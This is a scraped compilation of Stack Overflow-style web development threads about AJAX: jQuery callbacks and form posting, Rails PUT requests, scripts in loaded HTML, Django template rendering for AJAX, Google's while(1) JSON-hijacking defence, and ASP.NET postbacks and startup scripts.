}
</script>
<input type="submit" onClick="saveDataAjax();" value="submit" />
The rough idea in English:
You have a web page. Some event (can be a button press or other form event, or just something triggered by a timer) occurs and triggers JavaScript code that asks the server for fresh information (like the latest value of GOOG stock).
There's a piece of code on the server that collects the info you passed and sends some info back. That's different from the page-serving job the server usually has.
When the server answers, a callback function (that you specified in the JavaScript call to the server) is called with the info from the server. Your JavaScript code uses the info to update something--like a GOOG stock chart.
Most commonly, it refers to the use of the XMLHttpRequest object via JavaScript* in a browser.
Depending on who you ask, it could be used to describe almost any type of client/server communication over HTTP other than just typing a URL into a browser.
*jQuery provides some nice wrapper code to handle cross-browser differences, etc.
It's a buzzword, the essence of it is:
Using Javascript to make an asynchronous HTTP request (in the background).
When the content arrives, an action is taken, usually performing some logic then updating the appearance of the page by manipulating the DOM tree; meaning, inserting new HTML elements, deleting some html elements, etc.
The X in AJAX stands for XML, but it's irrelevant. XML is just one of many ways to format the data that's sent by the server. JSON is a much better alternative (IMNSHO). Also, the server can send plain text or just regular html.
The keyword here is asynchronous request. A request that happens in the background, without the browser having to reload the page.
From the Pragmatic Ajax book:
What Is Ajax?
Ajax is a hard beast to distill into a one-liner. The reason it is so hard is because it has two sides to it:
- Ajax can be viewed as a set of technologies.
- Ajax can be viewed as an architecture.
Ajax: Asynchronous JavaScript and XML
The name Ajax came from the bundling of its enabling technologies: an asynchronous communication channel between the browser and server, JavaScript, and XML. When it was de?ned, it was envisioned as the following:
- Standards-based presentation using XHTML and CSS
- Dynamic display and interaction using the browser?s DocumentObject Model (DOM)
- Data interchange and manipulation using XML and XSLT
- Asynchronous data retrieval using XMLHttpRequest or XMLHTTP (from Microsoft)
- JavaScript binding everything together
Although it is common to develop using these enabling technologies, it can quickly become more trouble than reward.
It is for these reasons that the more important de?nition for Ajax is...
Ajax: The Architecture
The exciting evolution that is Ajax is in how you architect web applications. Let?s look ?rst at the conventional web architecture:
- De?ne a page for every event in the application: view items, purchase items, check out, and so on.
- Each event, or action, returns a full page back to the browser.
- That page is rendered to the user.
This seems natural to us now. It made sense at the beginning of the Web, as the Web wasn?t really about applications. The Web started off as more of a document repository; it was a world in which you could simply link between documents in an ad hoc way. It was about document and data sharing, not interactivity in any meaningful sense.
Picture a rich desktop application for a moment. Imagine what you would think if, on every click, all of the components on the application screen redrew from scratch. Seems a little nuts, doesn?t it? On the Web, that was the world we inhabited until Ajax came along.
Ajax is a new architecture. The important parts of this architecture are:
Small server-side events: Now components in a web application can make small requests back to a server, get some information, and tweak the page that is viewed by changing the DOM. No full page refresh.
Asynchronous: Requests posted back to the server don?t cause the browser to block. The user can continue to use other parts of the application, and the UI can be updated to alert the user that a request is taking place.
onAnything: We can interact with the server based on almost anything the user does. Modern browsers trap most of the same user events as the operating system: mouseovers, mouse clicks, keypresses, etc. Any user event can cause an asynchronous request.
This all sounds great, doesn?t it? With this change we have to be careful, though. One of the greatest things about the Web is that anybody can use it. Having simple semantics helps that happen. If we go overboard, we might begin surprising the users with new UI abstractions. This is a common complaint with Flash UIs, where users are confronted with new symbols, metaphors, and required actions to achieve useful results.
http://www.w3schools.com/Ajax/Default.Asp
that is a good place to start. This should answer all of your questions.
From the man that coined the term - http://adaptivepath.com/ideas/essays/archives/000385.php
"Ajax" is the successfull marketing term introduced back in 2005 to replace the the older term "DHTML" that did not stick well. "Ajax" today is part of the history too as the new word - "HTML5" emerge. Still "HTML5" is pretty much what original "DHTML" used to be.
Ajax is also reffered to as "the new approach to the application development" where a web page is created on the server initially but later on, during its lifetime, the updates are being done on the client as the data or partial content gets communicated to the server in a background.
Hope this clarifies.
Just to add.. may be not relevant for the question .. although, AJAX was made famous by Gmail in their browser emails ..the credit of AJAX goes to Microsoft .. they created the AJAX thing..
Ajax is a bit of a misnomer. To quote the wiki article:
Despite the name, the use of JavaScript and XML is not actually required, nor do the requests need to be asynchronous.
Whereas now most people call "ajax" any type of
web application that communicates with a server in the background
It's JavaScript, but it works.
I believe the fastest and easiest way to get started is with jQuery:
AJAX stands for asynchronous JavaScript and XML, though it doesn't always deal with XML data anymore. Essentially it boils down to using the XMLHttpRequest object through JavaScript running on the client to make a web request and retrieve some information that you use to update the state of your page without requiring a page refresh.
Start with a basic tutorial that shows you how to use bare bones Ajax to make asynchronous requests such as http://www.w3schools.com/Ajax/Default.asp before moving on to using it in a production level application.
When using it in an application you're far better off investigating one of the common JavaScript frameworks that abstract away the differences between the various browsers and make it easy to manipulate the page after the request returns. I personally recommend http://www.jquery.com/
I read Head First AJAX as my first AJAX reference and I found it to give a simple and practical overview of AJAX.
Creative use of previously known technology. Both the browser side scripting and programmatic access to data on the server have been known before. In AJAX it has been put together for innovative use anabling new applications of thechology known before. The REST comes to mind as similar type of advance...
AJAX is very simple : someone somewhere tought that it would be cool to be able to send something to the server and receive something from it without reload a page.
AJAX is not a revolution, it's just a name for something simple : a web page can send a request to the server without being reloader - just some asynch stuff here.
You can add AJAX controls on your web pages wihout any works - just drag them in with Visual Studio. You may have to add some manager for them, but it is simply a drag-and-drop task.
But be warned : rogue web browser usually don't speak the same AJAX language as IE...
:)
AJAX is really fancy term for giving the browser the ability to refresh parts of its content with the need to reload an entire page. Like many have said, it doesn't require XML, or even Javascript in order to implement it. In fact in its early days it was done with with VBScript and Jscript and just called DHTML. Jesse James Garrett may have invented the AJAX term, but it was really Microsoft that invented the concept behind it.
This source says Microsoft started it in 1999, but I would date the birth of this technology even further. This Wired article is probably more accurate on the date of this technology being in the late 90's, much of it coming from the old days of the MSDN DHTML Dude columns written by Michael Wallent at Microsoft which started back in 1997. Much of the story is also told in this great video here by Michael himself: http://channel9.msdn.com/posts/Charles/Michael-Wallent-Advent-and-Evolution-of-WPF/ Megan still works at Microsoft by the way working on the Silverlight team nowadays, Microsoft's replacement for ActiveX.
Back to the AJAX thingy...when Jesse James Garrett back in 2005 he was mostly talking about the use of XMLHTTPRequest within Javascript code, and a dash of salt. That later began a hip word that many people started using even though they had no idea what it was, and thought that is really something brand new and hip, when really it was just a remix of something old.....sort of like many hip-hop songs you hear nowadays.
It's not new, just a newer version of something old!
I'll give it a try and say that "it's the concept of having a W3C based (JavaScript, HTML and CSS) solution for building Rich Applications for running on the web in a browser"
Everything else is just "technical details" I guess ... ;)
PS! - AMAZING question ...!! ;)
It's a cleaning product.
It also stands for something very cool built with a very hateful programming language.
Is there a way to pass more data into a callback function in Jquery?
I have two functions and I want the callback to the $.post, for example, to pass in both the resulting data of the AJAX call, as well as a few custom arguments
function clicked() {
var myDiv = $("#my-div");
// ERROR: Says data not defined
$.post("someurl.php",someData,doSomething(data, myDiv),"json");
// ERROR: Would pass in myDiv as curData (wrong)
$.post("someurl.php",someData,doSomething(data, myDiv),"json");
}
function doSomething(curData, curDiv) {
}
Sorry if this is hard to understand. Basically I just want to be able to pass in my own parameters to a callback, as well as the result returned from the AJAX call.
Thanks!
The solution is the binding of variables through closure.
I haven't used the .post function in jQuery, but a quick scan of the document suggests the call back should be a function pointer accepting the following:
function callBack(data, textStatus) {};
Therefore I think the solution is as follows:
var doSomething = function(extraStuff) {
return function(data, textStatus) {
// do something with extraStuff
};
};
var clicked = function() {
var extraStuff = {
myParam1: 'foo',
myParam2: 'bar'
}; // an object / whatever extra params you wish to pass.
$.post("someurl.php", someData, doSomething(extraStuff), "json");
};
What is happening?
In the last line, doSomething(extraStuff) is invoked and the result of that invocation is a function pointer.
Because extraStuff is passed as an argument to doSomething it is within scope of the doSomething function.
When extraStuff is referenced in the returned anonymous inner function of doSomething it is bound by closure to the outer function's extraStuff argument. This is true even after doSomething has returned.
I haven't tested the above, but I've written very similar code in the last 24 hours and it works as I've described.
You can of course pass multiple variables instead of a single 'extraStuff' object depending on your personal preference/coding standards.
When using doSomething(data, myDiv), you actually call the function and does not make a reference to it.
You can either pass the doStomething function directly but you must ensure it has the correct signature.
If you want to keep doSomething the way it is, you can wrap its call in an anonymous function.
function clicked() {
var myDiv = $("#my-div");
$.post("someurl.php",someData, function(data){
doSomething(data, myDiv)
},"json");
}
function doSomething(curData, curDiv) {
...
}
Inside the anonymous function code, you can use the variables defined in the enclosing scope. This is the way Javascript scoping works.
You can use a closure of JavaScript:
function wrapper( var1, var2,....) // put here your variables
{
return function( data, status)
{
//Handle here results of call
}
};
and when you can do:
$.post("someurl.php",data,wrapper(var1, var2, etc...),"html");
You can also try something like the following:
function clicked() {
var myDiv = $("#my-div");
$.post("someurl.php",someData,function(data){
doSomething(data, myDiv);
},"json");
}
function doSomething(curData, curDiv) {
}
In today's world there is a another answer that is cleaner, and taken from another Stack Overflow answer:
function clicked()
{
var myDiv = $( "#my-div" );
$.post( "someurl.php", {"someData": someData}, $.proxy(doSomething, myDiv), "json" );
}
function doSomething( data )
{
// this will be equal to myDiv now. Thanks to jQuery.proxy().
var $myDiv = this;
// doing stuff.
...
}
Here's the original question and answer: jQuery HOW TO?? pass additional parameters to success callback for $.ajax call?
I've made a mistake in the last my post. This is working example for how to pass additional argument in callback function:
function custom_func(p1,p2) {
$.post(AJAX_FILE_PATH,{op:'dosomething',p1:p1},
function(data){
return function(){
alert(data);
alert(p2);
}(data,p2)
}
);
return false;
}
actually, your code is not working because when you write:
$.post("someurl.php",someData,doSomething(data, myDiv),"json");
you place a function call as the third parameter rather than a function reference.
function custom_func(p1,p2) { var local='test'; $.post(AJAX_FILE_PATH,{op:'dosomething',p1:p1}, function(data){ return function(data){ alert(p2); alert(local); }(p2,local) } ); }
As an addendum to b01's answer, the second argument of $.proxy is often used to preserve the this reference. Additional arguments passed to $.proxy are partially applied to the function, pre-filling it with data. Note that any arguments $.post passes to the callback will be applied at the end, so doSomething should have those at the end of its argument list:
function clicked() {
var myDiv = $("#my-div");
var callback = $.proxy(doSomething, this, myDiv);
$.post("someurl.php",someData,callback,"json");
}
function doSomething(curDiv, curData) {
//"this" still refers to the same "this" as clicked()
var serverResponse = curData;
}
This approach also allows multiple arguments to be bound to the callback:
function clicked() {
var myDiv = $("#my-div");
var mySpan = $("#my-span");
var isActive = true;
var callback = $.proxy(doSomething, this, myDiv, mySpan, isActive);
$.post("someurl.php",someData,callback,"json");
}
function doSomething(curDiv, curSpan, curIsActive, curData) {
//"this" still refers to the same "this" as clicked()
var serverResponse = curData;
}
I'm looking for most elegant way to ajaxify my forms (with jQuery).
How do you do this?
Here is my solution (I think it is a Progressive enhancement solution), using only jQuery without any plugins:
var form = $('form#YourFormId');
$(':submit', form).click(function (event) {
event.preventDefault();
$.post(form.attr('action'), form.serialize(),
function(data, status) {
if(status == 'success') {
// your code here
}
}
);
});
UPDATED:
If your POST response is "HTML with form" then try this:
function ajaxifyForm(form) {
$(':submit', form).click(function (event) {
event.preventDefault();
$.post(form.attr('action'), form.serialize(),
function(data, status) {
if(status == 'success') {
var newForm = $(data);
ajaxifyForm(newForm);
form.after(newForm).remove();
}
}
);
});
}
Ajaxify your forms... that is pretty vague.
If you want to submit a form asynchronously, you could use $.post() to post to a separate controller action.
Example:
In the view:
$.post('<%= Url.Action("DoAjaxCall") %>', $('form').serialize(),
function (data) {
alert(data.Message);
}
, "json");
In your controller:
public ActionResult DoAjaxCall(YourModel model)
{
return Json(new { Message = "Your ajax call is working!" });
}
That is what I'm using in some of my forms at least.
P.S.: I wrote this in the stackoverflow text editor so it's not really tested. But as an outline, it should work.
Checkout JQuery plugins storage I'm sure there you will find that you need
old one: when you don't know what to do anymore, read documentation
cheers
I am using the jQuery accordion plugin to make an accordion of some data. Then I want the user to be able to add more data to the accordian. I have setup the accordion to function properly, then I've made a function that prepends a "list item" to the accordion that matches the accordion semantics.
Is it possible to "update" the accordion so that it works with the newly added element, without saving the new data to database and refreshing the page?
Something like this:
.accordion('refresh')
Or something like the live event added in jQuery 1.3, anybody got a clue?
I haven't tested it, but this should probably work: Say that you have your accordion with id #accordion
$('#accordion').append('<h3><a href="#">New Paragraph</a></h3><div><p>New data</p></div>')
.accordion('destroy').accordion();
Basically, just destroy and re-create the accordion.
You might want to look at the LiveQuery plugin: http://plugins.jquery.com/project/livequery
It allows you to add events and binding after the DOM is loaded.
I am trying to send a jquery ajax PUT request that looks like this:
$.ajax({
type: "PUT",
url: '/admin/pages/1.json',
data: { page : {...} },
dataType: 'json',
success: function(msg) {
alert( "Data Saved: " + msg );
}
});
but I get the following error:
The error occurred while evaluating nil.name
/Library/Ruby/Gems/1.8/gems/activesupport-2.3.2/lib/active_support/xml_mini/rexml.rb:29:in `merge_element!'
/Library/Ruby/Gems/1.8/gems/activesupport-2.3.2/lib/active_support/xml_mini/rexml.rb:18:in `parse'
(__DELEGATION__):2:in `__send__'
(__DELEGATION__):2:in `parse'
/Library/Ruby/Gems/1.8/gems/activesupport-2.3.2/lib/active_support/core_ext/hash/conversions.rb:154:in `from_xml' ... ...
Is like Rails is trying to parse the params as XML, but I want to use JSON!!
What shall I do to put JSON to rails?
PUT and DELETE are not supported by all browsers, RubyOnRails supports passing an extra parameter with your data called _method which will indicate how RoR will treat the request.
$.ajax({
type: "POST",
url: '/admin/pages/1.json',
data: { _method:'PUT', page : {...} },
dataType: 'json',
success: function(msg) {
alert( "Data Saved: " + msg );
}
});
Ok, actually my JSON data didnt have the page key, my mistake. So thats why it was not correctly parsing. But now I get "[object Object]" string as the value for page key instead of a nicelly parsed json object.
Where should I look: JQuery or Rails?
EDIT:
I've solved my issue strigifying the json object with a script found here: www.json.org/js.html:
$.ajax({
type: "PUT",
url: '/admin/pages/1.json',
data: { page : JSON.strigify( {...} ) },
dataType: 'json',
success: function(msg) {
alert( "Data Saved: " + msg );
}
});
On the rails side json gem must be required. In the controller:
params[:page] = JSON.parse params[:page] if params[:page].is_a? String
The dataType param in jQuery specifies in what format you expect the anwser to be (yes, that's a very poor name), not what you send. If you want to send your data to the server in a format other then application/x-www-form-urlencoded you should use contentType param:
$.ajax({
type: "PUT",
url: '/admin/pages/1.json',
data: JSON.stringify({...}),
contentType: 'application/json', // format of request payload
dataType: 'json', // format of the response
success: function(msg) {
alert( "Data Saved: " + msg );
}
});
I had a similar problem [object Object] with jQuery/rails, but with HTML, rather than JSON. Perhaps this will help -
param of [object Object] data: { lesson: { date: drop_date } }
param of lesson[date] data: { "lesson[date]": drop_date }
hope this helps -
You probably just need to set the Request Headers on jQuery.
jQuery.ajaxSetup({
'beforeSend': function(xhr) {
xhr.setRequestHeader("Accept", "text/javascript");
}
})
This seems to be a problem related to Safari only. I've tried 4 on mac and 3 on windows and am still having no luck.
What I'm trying to do is load an external html file and have the Javascript that is embedded execute.
The code I'm trying to use is this:
$("#myBtn").click(function() {
$("#myDiv").load("trackingCode.html");
});
trackingCode.html looks like this (simple now, but will expand once/if I get this working):
<html>
<head>
<title>Tracking HTML File</title>
<script language="javascript" type="text/javascript">
alert("outside the jQuery ready");
$(function() {
alert("inside the jQuery ready");
});
</script>
</head>
<body>
</body>
</html>
I'm seeing both alert messages in IE (6 & 7) and Firefox (2 & 3). However, I am not able to see the messages in Safari (the last browser that I need to be concerned with - project requirements - please no flame wars).
Any thoughts on why Safari is ignoring the Javascript in the trackingCode.html file?
Eventually I'd like to be able to pass Javascript objects to this trackingCode.html file to be used within the jQuery ready call, but I'd like to make sure this is possible in all browsers before I go down that road.
Thanks for your help!
You are loading an entire HTML page into your div, including the html, head and body tags. What happens if you do the load and just have the opening script, closing script, and JavaScript code in the HTML that you load?
Here is the driver page:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>jQuery Load of Script</title>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load("jquery", "1.3.2");
</script>
<script type="text/javascript">
$(document).ready(function(){
$("#myButton").click(function() {
$("#myDiv").load("trackingCode.html");
});
});
</script>
</head>
<body>
<button id="myButton">Click Me</button>
<div id="myDiv"></div>
</body>
</html>
Here is the contents of trackingCode.html:
<script type="text/javascript">
alert("Outside the jQuery ready");
$(function() {
alert("Inside the jQuery ready");
});
</script>
This works for me in Safari 4.
Update: Added DOCTYPE and html namespace to match the code on my test environment. Tested with Firefox 3.6.13 and example code works.
I realize this is somewhat of an older post, but for anyone that comes to this page looking for a similar solution...
http://api.jquery.com/jQuery.getScript/
jQuery.getScript( url, [ success(data, textStatus) ] )
url- A string containing the URL to which the request is sent.
success(data, textStatus)- A callback function that is executed if the request succeeds.$.getScript('ajax/test.js', function() {
alert('Load was performed.');
});
$("#images").load(location.href+" #images",function(){
$.getScript("js/productHelper.js");
});
This doesn't seem to work if you're loading the HTML field into a dynamically created element.
$('body').append('<div id="loader"></div>');
$('#loader').load('htmlwithscript.htm');
I look at firebug DOM and there is no script node at all, only the HTML and my CSS node.
Anyone have come across this?
Test with this in trackingCode.html:
$(function() { show_alert(); function show_alert() { alert("Inside the jQuery ready"); } });I have try to make one jquery plugin for html loading function. Please refer the following link.
http://aspnet-ajax-aspnetmvc.blogspot.com/2010/10/dyamic-html-loader.html
Please suggest me to improve it more.
Thanks, Mohan
A other version of John Pick's solution just before, this works fine for me :
jQuery.ajax({
....
success: function(data, textStatus, jqXHR) {
jQuery(selecteur).html(jqXHR.responseText);
var reponse = jQuery(jqXHR.responseText);
var reponseScript = reponse.filter("script");
jQuery.each(reponseScript, function(idx, val) { eval(val.text); } );
}
...
});
You've almost got it. Tell jquery you want to load only the script:
$("#myBtn").click(function() {
$("#myDiv").load("trackingCode.html script");
});
Well I had the same problem that only seemed to happen for Firefox, and I couldn't use another JQuery command except for .load() since I was modifying the front-end on exisitng PHP files...
Anyways, after using the .load() command, I embedded my JQuery script within the external HTML that was getting loaded in, and it seemed to work. I don't understand why the JS that I loaded at the top of the main document didn't work for the new content however...
Suppose I have a method in my controller that is called via a jQuery AJAX call. E.g. I'd like to delete a user. When everything goes fine, I return new Content('ok') and exit the method.
What should I do when an error occured? I'd like to indicate it by an appropriate status code, so that my error call back would be called called. Why status code? Read here: http://stackoverflow.com/questions/407651/how-do-you-trigger-the-error-callback-in-a-jquery-ajax-call-using-asp-net-mvc However, the approach doesn't work because IIS7 returns it's own message (Bad request) insted of my custom error message.
Besides that there are two other catches:
The error callback could look like this: error: function(request) { alert(request.responseText);}
Setting the Response.StatusCode is the correct thing to do. To fix IIS's "helpful" error handling, set the HttpResponse.TrySkipIisCustomErrors property. You can read more about this here.
I've been trying to understand what's the optimal way to do Ajax in Django. By reading stuff here and there I gathered that the common process is:
formulate your Ajax call using some JavaScript library (e.g., jQuery), set up a URL pattern in Django that catches the call and passes it to a view function
in the Python view function retrieve the objects you are interested in and send them back to the client in JSON format or similar (by using the built in serializer module, or simplejson)
define a callback function in JavaScript that receives the JSON data and parses them, so to create whatever HTML is needed to be displayed. Finally, the JavaScript script puts the HTML wherever it should stay.
Now, what I still don't get is how are Django templates related to all of this? Apparently, we're not making use of the power of templates at all. Ideally, I thought it'd be nice to pass back a JSON object and a template name, so that the data could be iterated over and an HTML block is created. But maybe I'm totally wrong here...
The only resource I found that goes in this direction is this snippet (769) but I haven't tried it yet. Obviously, what's going to happen in this case is that all the resulting HTML is created on the server side, then passed to the client. The JavaScript-callback function only has to display it in the right place.
Does this cause performance problems? If not, even without using the snippet above, why not formatting the HTML directly in the backend using Python instead of the front-end?
Many thanks!
UPDATE: please use snippet 942 because it is an enhanced version of the one above! I found that the inheritance support works much better this way..
Hey thanks vikingosegundo!
I like using decorators too :-). But in the meanwhile I've been following the approach suggested by the snippet I was mentioning above. Only thing, use instead the snippet n. 942 cause it's an improved version of the original one. Here's how it works:
Imagine you have a template (e.g., 'subtemplate.html') of whatever size that contains a useful block you can reuse:
........
<div id="results">
{% block results %}
{% for el in items %}
<li>{{el|capfirst}}</li>
{% endfor %}
{% endblock %}
</div><br />
........
By importing in your view file the snippet above you can easily reference to any block in your templates. A cool feature is that the inheritance relations among templates are taken into consideration, so if you reference to a block that includes another block and so on, everything should work just fine. So, the ajax-view looks like this:
from django.template import loader
# downloaded from djangosnippets.com[942]
from my_project.snippets.template import render_block_to_string
def ajax_view(request):
# some random context
context = Context({'items': range(100)})
# passing the template_name + block_name + context
return_str = render_block_to_string('standard/subtemplate.html', 'results', context)
return HttpResponse(return_str)
There's no reason you can't return a rendered bit of HTML using Ajax, and insert that into the existing page at the point you want. Obviously you can use Django's templates to render this HTML, if you want.
When you are doing Ajax I don't think you have any use for templates. Template is there so that you can generate dynamic HTML on the server side easily and hence it provides few programming hooks inside HTML.
In case of Ajax you are passing JSON data and you can format it as you want in Python. and HTML/document elements will be generated on client side using the JSON by some JavaScript library e.g. jQuery on client side.
Maybe if you have a very specific case of replacing some inner HTML from server side HTML then maybe you can use templates but in that case why you would need JSON? You can just query the HTML page via Ajax and change inner or outer or whatever HTML.
Here is how I use the same template for traditional rendering and Ajax-response rendering.
Template:
<div id="sortable">
{% include "admin/app/model/subtemplate.html" %}
</div>
Included template (aka: subtemplate):
<div id="results_listing">
{% if results %}
{% for c in results %}
.....
{% endfor %}
{% else %}
The Ajax-view:
@login_required
@render_to('admin/app/model/subtemplate.html')#annoying-decorator
def ajax_view(request):
.....
return {
"results":Model.objects.all(),
}
Of course you can use render_to_response. But I like those annoying decorators :D
While templates are indeed just for presentation purposes, it shouldn't matter if you are doing it on the serverside or client side. It all comes down to separating the control logic that is performing an action, from the view logic that is just responsible for creating the markup. If your javascript control logic is having to handle how you are rendering or displaying the HTML, then you might be doing it wrong, but if you isolate that rendering logic to another object or function, and just passing it the data necessary for the render, then you should be fine; it mirrors how we separate our controllers, models and views on the server side.
Take a look at the github project: http://github.com/comolongo/Yz-Javascript-Django-Template-Compiler
It compiles django templates into optimized javascript functions that will generate your presentation html with data that you pass it. The compiled functions are in pure javascript, so there are no dependencies on other libraries. Since the templates are compiled instead of being parsed at runtime, the strings and variables are all already placed into javascript strings that just need to be concatenated, so you get a huge speed increase compared to techniques that require you to do dom manipulation or script parsing to get the final presentation. Right now only the basic tags and filters are there, but should be enough for most things, and more tags will be added as people start making requests for them or start contributing to the project.
Templates are for the purpose of presentation. Responding with data in format X (JSON, JSONP, XML, YAML, *ml, etc.) is not presentation, so you don't need templates. Just serialize your data into format X and return it in an HttpResponse.
Unfortunately, Django templates are designed to be executed server side only. There is at least one project to render Django templates using Javascript, but I haven't used it and so I don't know how fast, well supported or up to date it is. Other than this, you have to either use the Django templates on the server or generate dynamic elements on the client without using templates.
you can use jquery.load() or similar to good effect, generating the html on the server and loading it into the dom with js. I think someone has called this AJAH.
I'm playing firebug with Google Calendar. I happens to find that some XHR request has response like below:
while(1);[['us','bW9yZ2FuLmNoZW5nbW9AZ21haWwuY29t 20090320/20090904 63378122163']]
It looks like a JSON with prefix dead-loop javascript statements.
I'm not sure why Google Calendar has such kind of XHR response. Is there any known AJAX practice about this?
This is to ensure some other site can't do nasty tricks to try to steal your data. For example, by replacing the array constructor, then including this JSON URL via a <script> tag, a malicious third-party site could steal the data from the JSON response. By putting a while(1); at the start, the script will crash instead.
A same-site request using XHR and a seperate JSON parser, on the other hand, can easily ignore the while(1); prefix.
I was wondering if anyone can point me in the right direction. I have an asp.net button with a click event (that runs some server side code). What i'd like to do is call this event via ajax and jquery. Is there any way to do this? If so, i would love some examples.
Thanks in advance
This is where jQuery really shines for ASP.Net developers. Lets say you have this ASP button:
When that renders, you can look at the source of the page and the id on it won't be btnAwesome, but $ctr001_btnAwesome or something like that. This makes it a pain in the butt to find in javascript. Enter jQuery.
The id$= is doing a regex match for an id ENDING with btnAwesome.
Edit:
Did you want the ajax call being called from the button click event on the client side? What did you want to call? There are a lot of really good articles on using jQuery to make ajax calls to ASP.Net code behind methods.
The gist of it is you create a static method marked with the WebMethod attribute. You then can make a call to it using jQuery by using $.ajax.
I learned my WebMethod stuff from: http://encosia.com/2008/05/29/using-jquery-to-directly-call-aspnet-ajax-page-methods/
A lot of really good ASP.Net/jQuery stuff there. Make sure you read up about why you have to use msg.d in the return on .Net 3.5 (maybe since 3.0) stuff.
I like Gromer's answer, but it leaves me with a question: What if I have multiple 'btnAwesome's in different controls?
To cater for that possibility, I would do the following:
$(document).ready(function() {
$('#<%=myButton.ClientID %>').click(function() {
// Do client side button click stuff here.
});
});
It's not a regex match, but in my opinion, a regex match isn't what's needed here. If you're referencing a particular button, you want a precise text match such as this.
If, however, you want to do the same action for every btnAwesome, then go with Gromer's answer.
ASP.NET web forms page already have a JavaScript method for handling PostBacks called "__doPostBack".
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
Use the following in your code file to generate the JavaScript that performs the PostBack. Using this method will ensure that the proper ClientID for the control is used.
protected string GetLoginPostBack()
{
return Page.ClientScript.GetPostBackEventReference(btnLogin, string.Empty);
}
Then in the ASPX page add a javascript block.
<script language="javascript">
function btnLogin_Click() {
<%= GetLoginPostBack() %>;
}
</script>
The final javascript will be rendered like this.
<script language="javascript">
function btnLogin_Click() {
__doPostBack('btnLogin','');
}
</script>
Now you can use "btnLogin_Click()" from your javascript to submit the button click to the server.
In the client side handle the click event of the button, use the ClientID property to get he id of the button:
$(document).ready(function() {
$("#<%=myButton.ClientID %>,#<%=muSecondButton.ClientID%>").click(
function() {
$.get("/myPage.aspx",{id:$(this).attr('id')},function(data) {
// do something with the data
return false;
}
});
});
In your page on the server:
protected void Page_Load(object sender,EventArgs e) {
// check if it is an ajax request
if (Request.Headers["X-Requested-With"] == "XMLHttpRequest") {
if (Request.QueryString["id"]==myButton.ClientID) {
// call the click event handler of the myButton here
Response.End();
}
if (Request.QueryString["id"]==mySecondButton.ClientID) {
// call the click event handler of the mySecondButton here
Response.End();
}
}
}
I found myself wanting to do this and I reviewed the above answers and did a hybrid approach of them. It got a little tricky, but here is what I did:
My button already worked with a server side post. I wanted to let that to continue to work so I left the "OnClick" the same, but added a OnClientClick:
OnClientClick="if (!OnClick_Submit()) return false;"
Here is my full button element in case it matters:
<asp:Button UseSubmitBehavior="false" runat="server" Class="ms-ButtonHeightWidth jiveSiteSettingsSubmit" OnClientClick="if (!OnClick_Submit()) return false;" OnClick="BtnSave_Click" Text="<%$Resources:wss,multipages_okbutton_text%>" id="BtnOK" accesskey="<%$Resources:wss,okbutton_accesskey%>" Enabled="true"/>
If I inspect the onclick attribute of the HTML button at runtime it actually looks like this:
if (!OnClick_Submit()) return false;WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("ctl00$PlaceHolderMain$ctl03$RptControls$BtnOK", "", true, "", "", false, true))
Then in my Javascript I added the OnClick_Submit method. In my case I needed to do a check to see if I needed to show a dialog to the user. If I show the dialog I return false causing the event to stop processing. If I don't show the dialog I return true causing the event to continue processing and my postback logic to run as it used to.
function OnClick_Submit() {
var initiallyActive = initialState.socialized && initialState.activityEnabled;
var socialized = IsSocialized();
var enabled = ActivityStreamsEnabled();
var displayDialog;
// Omitted the setting of displayDialog for clarity
if (displayDialog) {
$("#myDialog").dialog('open');
return false;
}
else {
return true;
}
}
Then in my Javascript code that runs when the dialog is accepted, I do the following depending on how the user interacted with the dialog:
$("#myDialog").dialog('close');
__doPostBack('message', '');
The "message" above is actually different based on what message I want to send.
Back in my server-side code, I changed OnLoad from:
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e)
if (IsPostBack)
{
return;
}
// OnLoad logic removed for clarity
}
To:
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e)
if (IsPostBack)
{
switch (Request.Form["__EVENTTARGET"])
{
case "message1":
// We did a __doPostBack with the "message1" command provided
Page.Validate();
BtnSave_Click(this, new CommandEventArgs("message1", null));
break;
case "message2":
// We did a __doPostBack with the "message2" command provided
Page.Validate();
BtnSave_Click(this, new CommandEventArgs("message2", null));
break;
}
return;
}
// OnLoad logic removed for clarity
}
Then in BtnSave_Click method I do the following:
CommandEventArgs commandEventArgs = e as CommandEventArgs;
string message = (commandEventArgs == null) ? null : commandEventArgs.CommandName;
And finally I can provide logic based on whether or not I have a message and based on the value of that message.
I am having what I believe should be a fairly simple problem, but for the life of me I cannot see my problem. The problem is related to ScriptManager.RegisterStartupScript, something I have used many times before.
The scenario I have is that I have a custom web control that has been inserted into a page. The control (and one or two others) are nested inside an UpdatePanel. They are inserted onto the page onto a PlaceHolder:
<asp:UpdatePanel ID="pnlAjax" runat="server">
<ContentTemplate>
<asp:PlaceHolder ID="placeholder" runat="server">
</asp:PlaceHolder>
...
protected override void OnInit(EventArgs e){
placeholder.Controls.Add(Factory.CreateControl());
base.OnInit(e);
}
This is the only update panel on the page.
The control requires some initial javascript be run for it to work correctly. The control calls:
ScriptManager.RegisterStartupScript(this, GetType(),
Guid.NewGuid().ToString(), script, true);
and I have also tried:
ScriptManager.RegisterStartupScript(Page, Page.GetType(),
Guid.NewGuid().ToString(), script, true);
The problem is that the script runs correctly when the page is first displayed, but does not re-run after a partial postback. I have tried the following:
The only thing I have not tried is using the UpdatePanel itself as the Control and Type, as I do not believe the control should be aware of the update panel (and in any case there does not seem to be a good way of getting the update panel?).
Can anyone see what I might be doing wrong in the above?
Thanks :)
i had an issue using this in a user control (in a page this worked fine); the Button1 is inside an updatepanel, and the scriptmanager is on the usercontrol
protected void Button1_Click(object sender, EventArgs e)
{
string scriptstring = "alert('Welcome');";
ScriptManager.RegisterStartupScript(this, this.GetType(), "alertscript", scriptstring, true);
}
now it seems you have to be careful with the first two arguments, they need to reference your page, not your control
ScriptManager.RegisterStartupScript(this.Page, this.Page.GetType(), "alertscript", scriptstring, true);
